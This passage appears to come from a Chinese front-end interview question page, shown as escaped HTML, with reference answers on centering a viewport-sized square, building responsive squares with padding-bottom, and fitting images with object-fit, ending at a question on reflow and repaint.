&lt;li&gt;利用 &lt;code&gt;vw&lt;/code&gt; 单位定义宽高，保证正方形且相对视口大小&lt;/li&gt;
&lt;li&gt;Flexbox 和绝对定位 + transform 是常用居中方案&lt;/li&gt;
&lt;li&gt;重置默认 margin 和设置容器高度保证布局准确&lt;/li&gt;
&lt;li&gt;任选方案均可，Flexbox 代码简洁，绝对定位兼容性好&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掌握 CSS 布局基础知识&lt;br&gt;&lt;/li&gt;
&lt;li&gt;熟悉视口单位（vw、vh）的使用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解水平垂直居中多种实现方式&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解盒模型和尺寸计算&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-需求分析"&gt;2.1 需求分析&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;元素宽度和高度为屏幕宽度的 50%（即 50vw）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;元素是正方形，宽高相等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;水平和垂直方向均居中显示&lt;br&gt;&lt;/li&gt;
&lt;li&gt;兼容主流现代浏览器&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-代码实现示例"&gt;2.2 代码实现示例&lt;/h3&gt;
&lt;h4 id="方法一使用-flexbox"&gt;方法一：使用 Flexbox&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;square&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; .&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vh&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;justify-content&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 水平居中 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;align-items&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 垂直居中 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 保证正方形 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#4CAF50&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="方法二使用绝对定位--transform"&gt;方法二：使用绝对定位 + transform&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;square&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;absolute&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#2196F3&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transform&lt;/span&gt;: translate(&lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vh&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="23-说明"&gt;2.3 说明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;50vw&lt;/code&gt; 表示视口宽度的一半&lt;/li&gt;
&lt;li&gt;Flexbox 方案利用容器的弹性布局实现简单居中&lt;/li&gt;
&lt;li&gt;绝对定位方案通过 &lt;code&gt;top:50%&lt;/code&gt;, &lt;code&gt;left:50%&lt;/code&gt; 定位中心点，再用 &lt;code&gt;transform&lt;/code&gt; 修正偏移&lt;/li&gt;
&lt;li&gt;两种方案均保证元素在视口中央且尺寸为屏幕宽度一半的正方形&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见误区或面试陷阱"&gt;三、常见误区或面试陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;忽略 viewport 单位，使用百分比 &lt;code&gt;%&lt;/code&gt; 宽高导致高度受父元素限制&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;margin: auto&lt;/code&gt; 只实现水平居中，未垂直居中&lt;/li&gt;
&lt;li&gt;transform 偏移值写错方向或单位&lt;/li&gt;
&lt;li&gt;未重置 &lt;code&gt;html, body&lt;/code&gt; 的 margin 和高度，导致布局异常&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-efad8bc5b4fe"&gt;2. 如何通过 padding-bottom 实现自适应正方形&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;百分比 padding-bottom 是相对于元素宽度计算的&lt;/li&gt;
&lt;li&gt;设置宽度，padding-bottom 等于宽度比例即可实现宽高比&lt;/li&gt;
&lt;li&gt;纯 CSS 实现响应式正方形，无需 JS 计算&lt;/li&gt;
&lt;li&gt;配合 position 及 transform 可实现内部内容居中&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-1"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解 CSS 盒模型及百分比 padding 的计算规则&lt;br&gt;&lt;/li&gt;
&lt;li&gt;熟悉通过内边距（padding）比例实现自适应高度的布局技巧&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握纯 CSS 无需固定高度实现宽高比控制的方法&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解响应式设计及视口适配相关概念&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-1"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-核心原理说明"&gt;2.1 核心原理说明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;百分比 padding 的高度计算基于元素的宽度&lt;/strong&gt;&lt;br&gt;
例如，&lt;code&gt;padding-bottom: 100%&lt;/code&gt; 表示内边距底部高度是元素自身宽度的 100%&lt;br&gt;&lt;/li&gt;
&lt;li&gt;利用这一特性，设置一个元素的宽度，然后用 &lt;code&gt;padding-bottom&lt;/code&gt; 来控制高度，从而实现固定宽高比（正方形为 1:1）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;这种方式不依赖固定高度或 JS，纯 CSS 实现响应式正方形&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-具体实现方式"&gt;2.2 具体实现方式&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;square&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 宽度为视口宽度的一半 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding-bottom&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 内边距底部为宽度的 100%，实现高度与宽度相等 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#f60&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;relative&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 便于放置绝对定位内容（如文字） */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 如果需要内部内容绝对居中，可添加： */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; .&lt;span style="color:#a6e22e"&gt;content&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;absolute&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transform&lt;/span&gt;: translate(&lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="23-使用场景"&gt;2.3 使用场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;自适应正方形容器&lt;/li&gt;
&lt;li&gt;图片或视频占位框&lt;/li&gt;
&lt;li&gt;响应式卡片、图标区域布局&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见误区或面试陷阱-1"&gt;三、常见误区或面试陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;误以为 padding 百分比是基于高度计算（实际上是基于宽度）&lt;/li&gt;
&lt;li&gt;忽略内容本身不占高度，需要通过 &lt;code&gt;position: relative&lt;/code&gt; 和绝对定位解决内容布局&lt;/li&gt;
&lt;li&gt;没有设置元素的 &lt;code&gt;width&lt;/code&gt;，导致 padding 计算无意义&lt;/li&gt;
&lt;li&gt;使用固定 &lt;code&gt;height&lt;/code&gt; 反而破坏响应式效果&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c8954730cddb"&gt;3. 若要求正方形内嵌图片保持比例且不拉伸，如何实现&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;容器用 padding-bottom 创建自适应正方形&lt;/li&gt;
&lt;li&gt;图片使用 &lt;code&gt;object-fit: contain&lt;/code&gt; 保持比例且不拉伸&lt;/li&gt;
&lt;li&gt;绝对定位图片居中显示，宽高100%填充容器&lt;/li&gt;
&lt;li&gt;设置 &lt;code&gt;overflow: hidden&lt;/code&gt; 避免溢出&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-2"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解图片的默认渲染行为及尺寸适配&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握 CSS 中图片等媒体对象的缩放控制属性（object-fit）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;熟悉容器布局，确保图片在固定宽高正方形内自适应显示&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解响应式设计和兼容性考虑&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-2"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-核心概念说明"&gt;2.1 核心概念说明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;图片默认行为&lt;/strong&gt;：图片按原始宽高比显示，若强制设置宽高可能导致变形&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;object-fit&lt;/code&gt; 属性&lt;/strong&gt;：用于控制替换元素（如 img、video）内容的填充方式&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;object-fit: contain&lt;/code&gt; 保持图片比例，完整显示，可能留空白&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;object-fit: cover&lt;/code&gt; 保持比例，填满容器，超出部分裁剪&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合容器尺寸和 &lt;code&gt;object-fit&lt;/code&gt; 可灵活控制图片展示效果&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-具体实现示例"&gt;2.2 具体实现示例&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;square&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;your-image.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;alt&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;示例图片&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding-bottom&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vw&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 自适应正方形 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;relative&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;overflow&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;hidden&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 防止图片溢出 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; &lt;span style="color:#f92672"&gt;img&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;absolute&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;object-fit&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;contain&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 保持比例且不拉伸 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transform&lt;/span&gt;: translate(&lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="23-说明-1"&gt;2.3 说明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;padding-bottom&lt;/code&gt; 创建正方形容器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;position: relative&lt;/code&gt; + &lt;code&gt;position: absolute&lt;/code&gt; 定位图片，方便居中&lt;/li&gt;
&lt;li&gt;图片宽高设为 100%，配合 &lt;code&gt;object-fit: contain&lt;/code&gt; 保持原始比例且不被拉伸&lt;/li&gt;
&lt;li&gt;&lt;code&gt;overflow: hidden&lt;/code&gt; 防止图片超出容器边界显示&lt;/li&gt;
&lt;li&gt;可根据需求改为 &lt;code&gt;object-fit: cover&lt;/code&gt; 实现填充并裁剪效果&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见误区或面试陷阱-2"&gt;三、常见误区或面试陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;不设置 &lt;code&gt;object-fit&lt;/code&gt;，直接用 &lt;code&gt;width&lt;/code&gt; 和 &lt;code&gt;height&lt;/code&gt; 100%，图片可能被拉伸变形&lt;/li&gt;
&lt;li&gt;忽略容器定位，导致图片无法居中或布局错乱&lt;/li&gt;
&lt;li&gt;未设置 &lt;code&gt;overflow: hidden&lt;/code&gt;，图片溢出影响页面布局&lt;/li&gt;
&lt;li&gt;误用 &lt;code&gt;background-image&lt;/code&gt; 和 &lt;code&gt;background-size&lt;/code&gt;，与 img 标签区别不清&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-417ebda0-3f2d-48d3-95ec-ae1838bf39cb"&gt;4. 怎么理解回流跟重绘？什么场景下会触发？&lt;/h2&gt;
&lt;blockquote&gt;
